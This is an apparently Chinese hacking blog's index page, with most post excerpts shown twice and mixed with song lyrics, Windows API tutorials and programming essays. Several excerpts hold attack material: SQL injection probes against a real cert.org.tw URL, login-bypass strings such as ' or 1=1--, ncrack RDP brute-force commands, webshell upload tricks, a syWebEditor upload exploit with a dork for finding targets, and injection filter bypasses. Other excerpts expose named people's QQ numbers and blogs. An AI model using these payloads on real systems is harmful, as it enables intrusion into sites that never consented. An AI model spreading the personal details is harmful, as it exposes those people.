Exploit 编写系列教程 PDF
录 译序………………………………………………………………..2 Exploit 编写系列教程第一篇：栈溢出……………………………………..3 Exploit 编写系列教程第二篇：跳至ShellCode……………………………….25 Exploit 编写系列教程第三篇a：基于SEH的Exploit………......
阅读全文 →SECURITY RESEARCH / ENGINEERING
文章与研究
在证据与实验中理解复杂系统。
Exploit 编写系列教程 PDF
录 译序………………………………………………………………..2 Exploit 编写系列教程第一篇：栈溢出……………………………………..3 Exploit 编写系列教程第二篇：跳至ShellCode……………………………….25 Exploit 编写系列教程第三篇a：基于SEH的Exploit………......
阅读全文 →The_IDA_Pro_book_2nd_edition
下载地址：http://kuai.xunlei.com/d/BQWURFBXKVZS
阅读全文 →The_IDA_Pro_book_2nd_edition
下载地址：http://kuai.xunlei.com/d/BQWURFBXKVZS
阅读全文 →Metasploit 安装方法
cd “你下载的路径” chmod +x ./framework-3.7.2-linux-full.run sudo ./framework-3.7.2-linux-full.run 安装完后更新一下msfupdate
阅读全文 →Metasploit 安装方法
cd “你下载的路径” chmod +x ./framework-3.7.2-linux-full.run sudo ./framework-3.7.2-linux-full.run 安装完后更新一下msfupdate
阅读全文 →大牛教你查库暴库。
转自老邪 http://www.cert.org.tw/document/advisory/detail.php?id=7 and ord(mid(version(),1,1))>51 返回正常，说明大于4.0版本，支持ounion查询 2.猜解字段数目,用order by也可以猜，也可以用union select一个一个的猜解 http://www.cert.org.tw/document/advisory/detail.php?id=7 and 2=4 union select 1,2,3,4,5,6,7,8,9-- 3.查看数据库版本及当前用户，http://www.cert.org.tw/document/advisory/detail.php?id=7 and 2=4......
阅读全文 →大牛教你查库暴库。
转自老邪 http://www.cert.org.tw/document/advisory/detail.php?id=7 and ord(mid(version(),1,1))>51 返回正常，说明大于4.0版本，支持ounion查询 2.猜解字段数目,用order by也可以猜，也可以用union select一个一个的猜解 http://www.cert.org.tw/document/advisory/detail.php?id=7 and 2=4 union select 1,2,3,4,5,6,7,8,9-- 3.查看数据库版本及当前用户，http://www.cert.org.tw/document/advisory/detail.php?id=7 and 2=4......
阅读全文 →网站万能密码收集
所谓万能密码就是绕过登录验证直接进入管理员后台的密码，这种类型的密码可以通用到很多存在此漏洞的网站所以称之为万能。 自己也有过收集，别人总结的我又添加了几个 asp aspx万能密码 1："or "a"="a 2： ')or('a'='a 3：or 1=1-- 4：'or 1=1-- 5：a'or......
阅读全文 →网站万能密码收集
所谓万能密码就是绕过登录验证直接进入管理员后台的密码，这种类型的密码可以通用到很多存在此漏洞的网站所以称之为万能。 自己也有过收集，别人总结的我又添加了几个 asp aspx万能密码 1："or "a"="a 2： ')or('a'='a 3：or 1=1-- 4：'or 1=1-- 5：a'or......
阅读全文 →mysql简单手工盲注语句
声明:虽然网上关于mysql手工盲注的资料很多 但是大多都是大篇幅 语句极其复杂 学习盲注前先了解下 IFORMATION_SCHEMA 库 Mysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库，其中记录了Mysql中所有 存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说明......
阅读全文 →mysql简单手工盲注语句
声明:虽然网上关于mysql手工盲注的资料很多 但是大多都是大篇幅 语句极其复杂 学习盲注前先了解下 IFORMATION_SCHEMA 库 Mysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库，其中记录了Mysql中所有 存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说明......
阅读全文 →Who Says 中英文字幕 -- Selena Gomez
歌曲名称：Who Says 中英文字幕 歌手名称：Selena Gomez 歌手类别：女艺人 I wouldn't wanna be anybody else. You made me insecure Told me I wasn’t good enough But who are you to judge When you’re a diamond in the rough I’m sure you got some things You’d like to change about yourself But when it comes to me I wouldn’t want to be anybody else Na na na I’m no beauty queen I’m just beautiful me Na na na You’......
阅读全文 →Who Says 中英文字幕 -- Selena Gomez
歌曲名称：Who Says 中英文字幕 歌手名称：Selena Gomez 歌手类别：女艺人 I wouldn't wanna be anybody else. You made me insecure Told me I wasn’t good enough But who are you to judge When you’re a diamond in the rough I’m sure you got some things You’d like to change about yourself But when it comes to me I wouldn’t want to be anybody else Na na na I’m no beauty queen I’m just beautiful me Na na na You’......
阅读全文 →搞渗透的伤不起 各种体力活~
找不到 web路径 啊~ 就只有找配置文件啊~ 一个 MetaBase.xml 有 70K+ 啊~ 有木有啊~ 还不像 linux 有 grep 之类的各种命令啊~ type c:\windows\system32\inetsrv\MetaBase.xml 只能一行一行地显示啊~ 有木有啊~ 都有 1000+ 行了 都还没显示完啊~ 有木有啊~ 各种体力活啊~ 搞渗透的人你伤不起啊~ 上辈子是折翼的奥尔良烤鸡翅啊......
阅读全文 →搞渗透的伤不起 各种体力活~
找不到 web路径 啊~ 就只有找配置文件啊~ 一个 MetaBase.xml 有 70K+ 啊~ 有木有啊~ 还不像 linux 有 grep 之类的各种命令啊~ type c:\windows\system32\inetsrv\MetaBase.xml 只能一行一行地显示啊~ 有木有啊~ 都有 1000+ 行了 都还没显示完啊~ 有木有啊~ 各种体力活啊~ 搞渗透的人你伤不起啊~ 上辈子是折翼的奥尔良烤鸡翅啊......
阅读全文 →中国信息安全相关法律法规汇编 PDF
下载地址：http://kuai.xunlei.com/d/BCGYQKXANULP 解压密码:www.mythhack.com 一. 2000年以前 .................................................................................................................... 2 1.1 中华人民共和国保守国家秘密法 ............................................................................ 2 1.2 中华人民共和国计算机信息系统安全保护条例 ...................................................... 6 1.3 中华人民共和国国家安全法 ................................................................................... 8 1.4 计算机信息网络国际联网管理暂行规定 ............................................................... 11 1.5 计算机信息网络国际联网安......
阅读全文 →中国信息安全相关法律法规汇编 PDF
下载地址：http://kuai.xunlei.com/d/BCGYQKXANULP 解压密码:www.mythhack.com 一. 2000年以前 .................................................................................................................... 2 1.1 中华人民共和国保守国家秘密法 ............................................................................ 2 1.2 中华人民共和国计算机信息系统安全保护条例 ...................................................... 6 1.3 中华人民共和国国家安全法 ................................................................................... 8 1.4 计算机信息网络国际联网管理暂行规定 ............................................................... 11 1.5 计算机信息网络国际联网安......
阅读全文 →黑客应不应该学？
转自http://www.91ri.org/ 黑客应不应该学？ 错，错就错在立志学黑客，学什么不好，非要搞黑？ 学电脑没错，学硬件没错，学软件也没错，图形美工更没错……错就错在学黑客 黑客？传说中的计算机行业的最精之英了……那意味着什么？意味着放弃 从电子网络专业到偷偷学习黑客，已经......
阅读全文 →黑客应不应该学？
转自http://www.91ri.org/ 黑客应不应该学？ 错，错就错在立志学黑客，学什么不好，非要搞黑？ 学电脑没错，学硬件没错，学软件也没错，图形美工更没错……错就错在学黑客 黑客？传说中的计算机行业的最精之英了……那意味着什么？意味着放弃 从电子网络专业到偷偷学习黑客，已经......
阅读全文 →Eric Raymond 如何成为一名黑客
从小到大听说了无数关于“电脑黑客”的故事，比如XXX入侵美国五角大楼，再比如前几年的“熊猫烧香”病毒，这些故事的主角都被我们的媒体称之为“黑客”。其实这些人，更大程度上应该被称之为“cracker（骇客）”，而不是 “hacker（黑客）”，很多媒体和作家实在是侮辱了......
阅读全文 →Eric Raymond 如何成为一名黑客
从小到大听说了无数关于“电脑黑客”的故事，比如XXX入侵美国五角大楼，再比如前几年的“熊猫烧香”病毒，这些故事的主角都被我们的媒体称之为“黑客”。其实这些人，更大程度上应该被称之为“cracker（骇客）”，而不是 “hacker（黑客）”，很多媒体和作家实在是侮辱了......
阅读全文 →BT5下用ncrack破解3389
1.安装依赖包 mickey@pentestbox:~# sudo apt-get install build-essential libssl-dev libssh-dev 2.下载/编译/安装 wget http://nmap.org/ncrack/dist/ncrack-0.4ALPHA.tar.gz tar -xzf ncrack-0.4ALPHA.tar.gz cd ncrack-0.4ALPHA ./configure make make install 3.破解Windows英文版操作系统的终端服务 mickey@pentestbox:~# ncrack -vv -U windows.user -P windows.pwd 192.168.1.107:3389,CL=1 -f Starting Ncrack 0.4ALPHA ( http://ncrack.org ) at 2011-05-22 06:47 EDT Discovered credentials on rdp://192.168.1.107:3389 ‘administrator’ ‘mickeymouse’ rdp://192.168.1.107:3389......
阅读全文 →BT5下用ncrack破解3389
1.安装依赖包 mickey@pentestbox:~# sudo apt-get install build-essential libssl-dev libssh-dev 2.下载/编译/安装 wget http://nmap.org/ncrack/dist/ncrack-0.4ALPHA.tar.gz tar -xzf ncrack-0.4ALPHA.tar.gz cd ncrack-0.4ALPHA ./configure make make install 3.破解Windows英文版操作系统的终端服务 mickey@pentestbox:~# ncrack -vv -U windows.user -P windows.pwd 192.168.1.107:3389,CL=1 -f Starting Ncrack 0.4ALPHA ( http://ncrack.org ) at 2011-05-22 06:47 EDT Discovered credentials on rdp://192.168.1.107:3389 ‘administrator’ ‘mickeymouse’ rdp://192.168.1.107:3389......
阅读全文 →入侵纽约大学过程
一 原理分析 我看看mysql5比之前增加的系统数据库information_schema的结构，它是用来存储数据库系统信息的 mysql> use information_schema; Database changed mysql> show tables; +---------------------------------------+ | Tables_in_information_schema | +---------------------------------------+ | CHARACTER_SETS | | COLLATIONS | | COLLATION_CHARACTER_SET_APPLICABILITY | | COLUMNS | | COLUMN_PRIVILEGES | | KEY_COLUMN_USAGE | | ROUTINES | | SCHEMATA | | SCHEMA_PRIVILEGES | | STATISTICS | | TABLES | | TABLE_CONSTRAINTS | | TABLE_PRIVILEGES | | TRIGGERS | | USER_PRIVILEGES | | VIEWS | +---------------------------------------+ 这里只挑注射中可以用到的几个表。 | SCHEMATA ――>存储数据库名的， |——>关键字段：SCHEMA_NAME，表示数据库名称......
阅读全文 →入侵纽约大学过程
一 原理分析 我看看mysql5比之前增加的系统数据库information_schema的结构，它是用来存储数据库系统信息的 mysql> use information_schema; Database changed mysql> show tables; +---------------------------------------+ | Tables_in_information_schema | +---------------------------------------+ | CHARACTER_SETS | | COLLATIONS | | COLLATION_CHARACTER_SET_APPLICABILITY | | COLUMNS | | COLUMN_PRIVILEGES | | KEY_COLUMN_USAGE | | ROUTINES | | SCHEMATA | | SCHEMA_PRIVILEGES | | STATISTICS | | TABLES | | TABLE_CONSTRAINTS | | TABLE_PRIVILEGES | | TRIGGERS | | USER_PRIVILEGES | | VIEWS | +---------------------------------------+ 这里只挑注射中可以用到的几个表。 | SCHEMATA ――>存储数据库名的， |——>关键字段：SCHEMA_NAME，表示数据库名称......
阅读全文 →浅析四种Web漏洞扫描技术
原文出处：infosec Web的开放性广受大家的欢迎，但是同时Web系统将面临着入侵攻击的威胁。我们一直希望建立一个安全的Web系统，但是完全安全几乎是不可能实现的，但是相对的安全是可以达到的。其中进行Web漏洞扫描就是建立Web安全的一个重要保障。 四种Web漏洞......
阅读全文 →浅析四种Web漏洞扫描技术
原文出处：infosec Web的开放性广受大家的欢迎，但是同时Web系统将面临着入侵攻击的威胁。我们一直希望建立一个安全的Web系统，但是完全安全几乎是不可能实现的，但是相对的安全是可以达到的。其中进行Web漏洞扫描就是建立Web安全的一个重要保障。 四种Web漏洞......
阅读全文 →不存在资源ID情况下继续进行注入
SQL注入估计在大家眼里已经是老生常谈了，好像就那么回事，其实不然，在Pangolin开发过程中，我遇到过太多太多的特例以及继续深入注入的方法。这里跟大家讲讲关于资源ID不存在情况下的注入方法。 什么叫“不存在资源ID”呢？举个例子，假设url为http://www.site.com/news.php?id=9999999......
阅读全文 →不存在资源ID情况下继续进行注入
SQL注入估计在大家眼里已经是老生常谈了，好像就那么回事，其实不然，在Pangolin开发过程中，我遇到过太多太多的特例以及继续深入注入的方法。这里跟大家讲讲关于资源ID不存在情况下的注入方法。 什么叫“不存在资源ID”呢？举个例子，假设url为http://www.site.com/news.php?id=9999999......
阅读全文 →VC API常用函数简单例子大全六
第五十一个SetWindowsHookEx安装一个钩子 WINDOWS是基于消息的系统，鼠标移动，单击，键盘按键，窗口关闭等都会产生相应的消息，那么钩子是什么意思呢，它可以监控一个消息，比如在一个窗口里单击了一下，首先获得这个消息的，不是应用程序，而是系统，系统获取这个消息后，就去查看这......
阅读全文 →VC API常用函数简单例子大全六
第五十一个SetWindowsHookEx安装一个钩子 WINDOWS是基于消息的系统，鼠标移动，单击，键盘按键，窗口关闭等都会产生相应的消息，那么钩子是什么意思呢，它可以监控一个消息，比如在一个窗口里单击了一下，首先获得这个消息的，不是应用程序，而是系统，系统获取这个消息后，就去查看这......
阅读全文 →VC API常用函数简单例子大全五
第四十一个CreateCompatibleDC创建一个兼容的内存设备上下文（DC） 简单的来说，就是复制一个模一样的DC。就把窗口看成一幅幅图画，窗口有大有小，里面的内容也不一样（颜色值），每个像素点的颜色值可能不一样，所以就用设备上下文来描述每个窗口的信息，对于DC具体是怎样描述......
阅读全文 →VC API常用函数简单例子大全五
第四十一个CreateCompatibleDC创建一个兼容的内存设备上下文（DC） 简单的来说，就是复制一个模一样的DC。就把窗口看成一幅幅图画，窗口有大有小，里面的内容也不一样（颜色值），每个像素点的颜色值可能不一样，所以就用设备上下文来描述每个窗口的信息，对于DC具体是怎样描述......
阅读全文 →VC API常用函数简单例子大全四
第三十个CreateToolhelp32Snapshot给当前进程拍一个照 HANDLE hProcessSnap=::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0); //记住这种格式就行了，返回的句柄，存储有进程信息，可以用Process32Firs函数找出来。 第三十一个Process32First根据CreateToolhelp32Snapshot函数返回的句柄获取进程信息 结合Process32Next函数使用，有点像文件寻找函数。 看完整例子：显示系统进程名，以及进程ID号 include<......
阅读全文 →VC API常用函数简单例子大全四
第三十个CreateToolhelp32Snapshot给当前进程拍一个照 HANDLE hProcessSnap=::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0); //记住这种格式就行了，返回的句柄，存储有进程信息，可以用Process32Firs函数找出来。 第三十一个Process32First根据CreateToolhelp32Snapshot函数返回的句柄获取进程信息 结合Process32Next函数使用，有点像文件寻找函数。 看完整例子：显示系统进程名，以及进程ID号 include<......
阅读全文 →VC API常用函数简单例子大全三
第二十一个CreateWindow创建一个窗口 //补习懂的人直接跳过 之前API函数的例子，都是针对DOS编程的，严格来说是在windows下的仿DOS（cmd)进行编程，编写控制台应用程序大家都知道，主函数是main，那针对windows编程的主函数也是main吗？不是的，windows下的主函数（入口函数）是WinMain。在定义main主函数......
阅读全文 →VC API常用函数简单例子大全三
第二十一个CreateWindow创建一个窗口 //补习懂的人直接跳过 之前API函数的例子，都是针对DOS编程的，严格来说是在windows下的仿DOS（cmd)进行编程，编写控制台应用程序大家都知道，主函数是main，那针对windows编程的主函数也是main吗？不是的，windows下的主函数（入口函数）是WinMain。在定义main主函数......
阅读全文 →VC API常用函数简单例子大全二
第十一个：GetClientRect获得窗口大小 看例子： include<windows.h> include<stdio.h> int main(int argc, char* argv[]) { HWND wnd; while(1) { wnd=FindWindow(NULL,"无标题.txt - 记事本"); RECT rect;//专门用来存储窗口大小 GetClientRect(wnd,&rect);//获取窗口大小 printf("%d,%d,%d,%d\n",rect.left,rect.top,rect.right,rect.bottom);//输出窗口大小，试着用鼠标改变窗口大小 Sleep(300); } } 第十二......
阅读全文 →VC API常用函数简单例子大全二
第十一个：GetClientRect获得窗口大小 看例子： include<windows.h> include<stdio.h> int main(int argc, char* argv[]) { HWND wnd; while(1) { wnd=FindWindow(NULL,"无标题.txt - 记事本"); RECT rect;//专门用来存储窗口大小 GetClientRect(wnd,&rect);//获取窗口大小 printf("%d,%d,%d,%d\n",rect.left,rect.top,rect.right,rect.bottom);//输出窗口大小，试着用鼠标改变窗口大小 Sleep(300); } } 第十二......
阅读全文 →VC API常用函数简单例子大全一
第一个：FindWindow根据窗口类名或窗口标题名来获得窗口的句柄，该函数返回窗口的句柄， 这个函数的定义是这样的 HWND WINAPI FindWindow(LPCSTR lpClassName ,LPCSTR lpWindowName);第一个参数填窗口的类名，第二个填窗口的标题名，其实是不需要同时填两个参数的，也就是说，你只要知道窗口的类名或窗口的标题就可以......
阅读全文 →VC API常用函数简单例子大全一
第一个：FindWindow根据窗口类名或窗口标题名来获得窗口的句柄，该函数返回窗口的句柄， 这个函数的定义是这样的 HWND WINAPI FindWindow(LPCSTR lpClassName ,LPCSTR lpWindowName);第一个参数填窗口的类名，第二个填窗口的标题名，其实是不需要同时填两个参数的，也就是说，你只要知道窗口的类名或窗口的标题就可以......
阅读全文 →What Are Words 中英文字幕
有一种感情,能让旁观者为之动容,那就是爱！美国偶像第十季绝种好男人Chris Medina止步24强，他的海选故事感动了千万观众.Chris Medina与女友本以订婚，他的女友因意外造成创伤性脑损伤，生活不能自理，但他依然不离不弃的去照顾未婚妻。并誓言一辈子不会离她而去。
阅读全文 →What Are Words 中英文字幕
有一种感情,能让旁观者为之动容,那就是爱！美国偶像第十季绝种好男人Chris Medina止步24强，他的海选故事感动了千万观众.Chris Medina与女友本以订婚，他的女友因意外造成创伤性脑损伤，生活不能自理，但他依然不离不弃的去照顾未婚妻。并誓言一辈子不会离她而去。
阅读全文 →入侵渗透中用到的一些技巧和思路
上传漏洞拿shell： 1.直接上传asp.asa.jsp.cer.php.aspx.htr.cdx....之类的马，拿到shell. 2.就是在上传时在后缀后面加空格或者加几点，也许也会有惊奇的发现。例：.asp ,.asp..。 3.利用双重扩展名上传例如：*.jpg.asa格式(也可以配上第二点一起利用)。 4.gif文件头欺骗 5.同名重复上传也很OK。： 入侵......
阅读全文 →入侵渗透中用到的一些技巧和思路
上传漏洞拿shell： 1.直接上传asp.asa.jsp.cer.php.aspx.htr.cdx....之类的马，拿到shell. 2.就是在上传时在后缀后面加空格或者加几点，也许也会有惊奇的发现。例：.asp ,.asp..。 3.利用双重扩展名上传例如：*.jpg.asa格式(也可以配上第二点一起利用)。 4.gif文件头欺骗 5.同名重复上传也很OK。： 入侵......
阅读全文 →syWebEditor编辑器最新0day
exp:http://www.xxx.com/syWebEditor/Sel_UploadFile.asp?obj=ProPhoto&fileType=gif%7Cjpg%7Cpng% 7C&filePathType=1&filePath=/PhotoFile/ProFile/ 上传后的目录/PhotoFile/ProFile/。有个自动改名的选项。 谷歌一下：inurl:syWebEditor 一堆。我汗。
阅读全文 →syWebEditor编辑器最新0day
exp:http://www.xxx.com/syWebEditor/Sel_UploadFile.asp?obj=ProPhoto&fileType=gif%7Cjpg%7Cpng% 7C&filePathType=1&filePath=/PhotoFile/ProFile/ 上传后的目录/PhotoFile/ProFile/。有个自动改名的选项。 谷歌一下：inurl:syWebEditor 一堆。我汗。
阅读全文 →啊D注入漏洞检测工具原理分析
啊D 是一个检测注入漏洞的检测工具，同时也是带领广大入门级的同学的神器；为了能更好的理解注入工具的实现原理，我们今天就来抓包分析分析 啊D注入工具的实现原理。 注入点检测： 1. /?p=9' and char(124)+user+char(124)=0 and ''=' 2. ?p=9 and char(124)+user+char(124)=0 3. ?p=9' and......
阅读全文 →啊D注入漏洞检测工具原理分析
啊D 是一个检测注入漏洞的检测工具，同时也是带领广大入门级的同学的神器；为了能更好的理解注入工具的实现原理，我们今天就来抓包分析分析 啊D注入工具的实现原理。 注入点检测： 1. /?p=9' and char(124)+user+char(124)=0 and ''=' 2. ?p=9 and char(124)+user+char(124)=0 3. ?p=9' and......
阅读全文 →ASP绕过防注入的新思路：打碎关键字
<% id=request("id") id=replace(id,"and","") ··· ··· //过滤其它的危险关键字 id=replace(id," ","") id=replace(id,",","") //过滤空格和逗号，这是使用本方法必须的条件 %> 你还有办法注入吗？ 以打碎关键字“and"为例，咱大可以这样： test.asp?id=127%20&id=an&id=d%201=1 原理很简单，如果你提交test.asp......
阅读全文 →ASP绕过防注入的新思路：打碎关键字
<% id=request("id") id=replace(id,"and","") ··· ··· //过滤其它的危险关键字 id=replace(id," ","") id=replace(id,",","") //过滤空格和逗号，这是使用本方法必须的条件 %> 你还有办法注入吗？ 以打碎关键字“and"为例，咱大可以这样： test.asp?id=127%20&id=an&id=d%201=1 原理很简单，如果你提交test.asp......
阅读全文 →VS2010中集成 QT 遇到的一些问题
在编译QT代码时，会遇到一些问题，我遇到了两个问题。 然后继续编译N久之后，又出现了问题。。。 编译大概1个小时之后，出现： 01.api\qscriptextensionplugin.h(43): Error: Undefined interface 02.NMAKE : fatal error U1077: 'C:\Qt\2009.05\qt\bin\moc.exe' : return code '0x1' 03.Stop. 04.NMAKE : fatal error U1077: '"d:\Program Files\Microsoft Visual Studio 9.0\VC\BIN 05.\nmake.exe"' : return code '0x2......
阅读全文 →VS2010中集成 QT 遇到的一些问题
在编译QT代码时，会遇到一些问题，我遇到了两个问题。 然后继续编译N久之后，又出现了问题。。。 编译大概1个小时之后，出现： 01.api\qscriptextensionplugin.h(43): Error: Undefined interface 02.NMAKE : fatal error U1077: 'C:\Qt\2009.05\qt\bin\moc.exe' : return code '0x1' 03.Stop. 04.NMAKE : fatal error U1077: '"d:\Program Files\Microsoft Visual Studio 9.0\VC\BIN 05.\nmake.exe"' : return code '0x2......
阅读全文 →黑客恋爱优点20则
1. 专一的心，除了计算机就是你！ 2. 喝酒绝对不发脾气！ 3. 一套名牌只穿一个月 ! 4. 没时间 接触其它Girl ，想搞婚外恋也没可能。 5. 夜晚时总加班，所以白天一定会怀着一颗愧疚的心在家陪老婆逛街、看电视 、聊天、做家务。 6. 只认识0 和1 ，基本没理财能力，一定会主......
阅读全文 →黑客恋爱优点20则
1. 专一的心，除了计算机就是你！ 2. 喝酒绝对不发脾气！ 3. 一套名牌只穿一个月 ! 4. 没时间 接触其它Girl ，想搞婚外恋也没可能。 5. 夜晚时总加班，所以白天一定会怀着一颗愧疚的心在家陪老婆逛街、看电视 、聊天、做家务。 6. 只认识0 和1 ，基本没理财能力，一定会主......
阅读全文 →国外Blog曝光chinahacker QQ和Blog(四)
Lu Yu QQ: 170093007 Microblogging: http://t.qq.com/T00ls_Luyu Blog: http://www.5luyu.cn t00ls core members, who write a lot into, marginal areas of the secondary invasion of tools, such as t00ls tools within the marginalia, GETWEBSHELL and so on. Is currently working odd tiger 360 companies.Silent Love QQ: 348450419 Core members of EST. For the vulnerability mining, overflow exploit, network security has many years experience in the script. Famous hacker in the line hacker magazine has published hundreds of articles.Sakura prodigal son QQ: 305446947 Blog: http://www.hacklu.net/ SQL injection, WEB application penetration technology has lines. In some hacker magazine had some technical articles.h4k_b4n......
阅读全文 →国外Blog曝光chinahacker QQ和Blog(四)
Lu Yu QQ: 170093007 Microblogging: http://t.qq.com/T00ls_Luyu Blog: http://www.5luyu.cn t00ls core members, who write a lot into, marginal areas of the secondary invasion of tools, such as t00ls tools within the marginalia, GETWEBSHELL and so on. Is currently working odd tiger 360 companies.Silent Love QQ: 348450419 Core members of EST. For the vulnerability mining, overflow exploit, network security has many years experience in the script. Famous hacker in the line hacker magazine has published hundreds of articles.Sakura prodigal son QQ: 305446947 Blog: http://www.hacklu.net/ SQL injection, WEB application penetration technology has lines. In some hacker magazine had some technical articles.h4k_b4n......
阅读全文 →国外Blog曝光chinahacker QQ和Blog(三)
mj0011 QQ: confidentiality, to avoid the curse him too much. Blog: http://hi.baidu.com/mj0011 Famous security company worked odd tiger 360. As the core of engineers. Circle countless enemies, because loose-tongued, the disadvantages caused ugly. On the Rising, Jinshan and other companies have often verbally ironic, the other with the top international security company Symantec also spared. Can be described as poisonous tongue lady, even I have been scolded several times. Having said that, for programming, kernel, trojans, remote control of technical or non-negative.baiyuanfan QQ: 51449276 Once famous backdoor BYSHELL the author. Safety was the focus of the summit in a community have had lectures on the issues......
阅读全文 →国外Blog曝光chinahacker QQ和Blog(三)
mj0011 QQ: confidentiality, to avoid the curse him too much. Blog: http://hi.baidu.com/mj0011 Famous security company worked odd tiger 360. As the core of engineers. Circle countless enemies, because loose-tongued, the disadvantages caused ugly. On the Rising, Jinshan and other companies have often verbally ironic, the other with the top international security company Symantec also spared. Can be described as poisonous tongue lady, even I have been scolded several times. Having said that, for programming, kernel, trojans, remote control of technical or non-negative.baiyuanfan QQ: 51449276 Once famous backdoor BYSHELL the author. Safety was the focus of the summit in a community have had lectures on the issues......
阅读全文 →国外Blog曝光chinahacker QQ和Blog(二)
funnywei QQ: 25044885 Wei Qiang. Dr. F. Core member of the security focus. Mining vulnerability exploits aspects of the master, in the previous XCON on the country’s top hacker event could be seen his shadow. XXX reportedly worked for the Ministry of People’s Liberation Army. People’s Liberation Army provides many unpublished vulnerabilities. Yung-known hacker in China in early small software “streamer” “reverse snow”, “chaos knife” “hacker dictionary Builder” “ARPSNIFFER” “command line into the tool” of such hacking software. Vulnerabilities in current technologies such as for more than a few people. However, the......
阅读全文 →国外Blog曝光chinahacker QQ和Blog(二)
funnywei QQ: 25044885 Wei Qiang. Dr. F. Core member of the security focus. Mining vulnerability exploits aspects of the master, in the previous XCON on the country’s top hacker event could be seen his shadow. XXX reportedly worked for the Ministry of People’s Liberation Army. People’s Liberation Army provides many unpublished vulnerabilities. Yung-known hacker in China in early small software “streamer” “reverse snow”, “chaos knife” “hacker dictionary Builder” “ARPSNIFFER” “command line into the tool” of such hacking software. Vulnerabilities in current technologies such as for more than a few people. However, the......
阅读全文 →国外Blog曝光chinahacker QQ和Blog
首先，是最显着的：在任何特定的顺序 在名单的第一部分列出了谁拥有真正的黑客技术和人才。 大多数人通常不会在电视或看到这些入侵黑客网站“黑客”，谁在电视上报道的仅仅是大多数黑客底部。 例如，熊猫的作者，其实，技术不高，在黑客界大多数人只是作为......
阅读全文 →国外Blog曝光chinahacker QQ和Blog
首先，是最显着的：在任何特定的顺序 在名单的第一部分列出了谁拥有真正的黑客技术和人才。 大多数人通常不会在电视或看到这些入侵黑客网站“黑客”，谁在电视上报道的仅仅是大多数黑客底部。 例如，熊猫的作者，其实，技术不高，在黑客界大多数人只是作为......
阅读全文 →你真的输不起，别再孩子了。——李开复
如果你到了20岁 ，还没到25岁。——李开复 这篇文章是一把刀。看得人心疼，看得人心痛。 如果你已经过了20岁但还不到25岁的话，你必须找到除了爱情之外，能够使你用双脚坚强站在大地上的东西。你要找到谋生的方式。现在考虑不晚了。 我从来不以为学历......
阅读全文 →你真的输不起，别再孩子了。——李开复
如果你到了20岁 ，还没到25岁。——李开复 这篇文章是一把刀。看得人心疼，看得人心痛。 如果你已经过了20岁但还不到25岁的话，你必须找到除了爱情之外，能够使你用双脚坚强站在大地上的东西。你要找到谋生的方式。现在考虑不晚了。 我从来不以为学历......
阅读全文 →减小VC编译文件体积我的总结
通常vc++编译出来的程序体积很大，debug模式的程序的最小体积一般都在100KB以上。这使不少人对VC++有了不好的印象，以为VC++是制造麻烦的工具。其实情况并不是这样，我们可以通过一些办法有效的减少执行程序的体积。 下面通过一个具体的范例给你讲述： 1，首先我......
阅读全文 →减小VC编译文件体积我的总结
通常vc++编译出来的程序体积很大，debug模式的程序的最小体积一般都在100KB以上。这使不少人对VC++有了不好的印象，以为VC++是制造麻烦的工具。其实情况并不是这样，我们可以通过一些办法有效的减少执行程序的体积。 下面通过一个具体的范例给你讲述： 1，首先我......
阅读全文 →什么样的人才能称为程序员？做为一名程序员的您是如何处理和女朋友(或老婆)的感情生活的？
话说自己研究编程啥的都是自学的，没有啥正规相关证书。曾记得在一QQ群里问起：“什么样的人才能称为程序员？”。好多朋友回答只要会“Hello World!”，便可以算一名程序员。当时我也很得意，自己或许已经是一名程序员了。当然我想自己也应该算得上一名程序......
阅读全文 →什么样的人才能称为程序员？做为一名程序员的您是如何处理和女朋友(或老婆)的感情生活的？
话说自己研究编程啥的都是自学的，没有啥正规相关证书。曾记得在一QQ群里问起：“什么样的人才能称为程序员？”。好多朋友回答只要会“Hello World!”，便可以算一名程序员。当时我也很得意，自己或许已经是一名程序员了。当然我想自己也应该算得上一名程序......
阅读全文 →编程新手真言
写字楼里写字间，写字间里程序员， 程序员来写程序，写得程序换酒钱。 酒醒只在网上坐，酒醉还来网下眠， 酒醉酒醒日复日，网上网下年复年。 但愿老死电脑间，不愿鞠躬老板前， 奔驰宝马贵者趣，公交自行程序员。 别人笑我忒疯癫，我笑自己命太贱， 但见满街漂亮妹，哪个......
阅读全文 →编程新手真言
写字楼里写字间，写字间里程序员， 程序员来写程序，写得程序换酒钱。 酒醒只在网上坐，酒醉还来网下眠， 酒醉酒醒日复日，网上网下年复年。 但愿老死电脑间，不愿鞠躬老板前， 奔驰宝马贵者趣，公交自行程序员。 别人笑我忒疯癫，我笑自己命太贱， 但见满街漂亮妹，哪个......
阅读全文 →学习c++的50条忠告
//这原本是一个很老的帖子了，我今天之所以翻出来，是因为感觉很多和 //我一样尚未怎么入门的人，可能真的很需要这些忠告。当然如果你是真 //正的高手，你大可不看下面的这些文字。但是句我所只，似乎在编程这 //条路上是没有止境的，也不存在最终的高手......
阅读全文 →学习c++的50条忠告
//这原本是一个很老的帖子了，我今天之所以翻出来，是因为感觉很多和 //我一样尚未怎么入门的人，可能真的很需要这些忠告。当然如果你是真 //正的高手，你大可不看下面的这些文字。但是句我所只，似乎在编程这 //条路上是没有止境的，也不存在最终的高手......
阅读全文 →成为IT精英，我奋斗了7年~
这些日子我一直在写一个实时操作系统内核，已有小成了，等写完我会全部公开，希望能够为国内IT的发展尽自己一份微薄的力量。最近看到很多学生朋友和我当年一样没有方向 ，所以把我的经历写出来与大家共勉，希望能给刚如行的朋友们一点点帮助。一转眼......
阅读全文 →成为IT精英，我奋斗了7年~
这些日子我一直在写一个实时操作系统内核，已有小成了，等写完我会全部公开，希望能够为国内IT的发展尽自己一份微薄的力量。最近看到很多学生朋友和我当年一样没有方向 ，所以把我的经历写出来与大家共勉，希望能给刚如行的朋友们一点点帮助。一转眼......
阅读全文 →C# VB.net 完整的常用代码集合
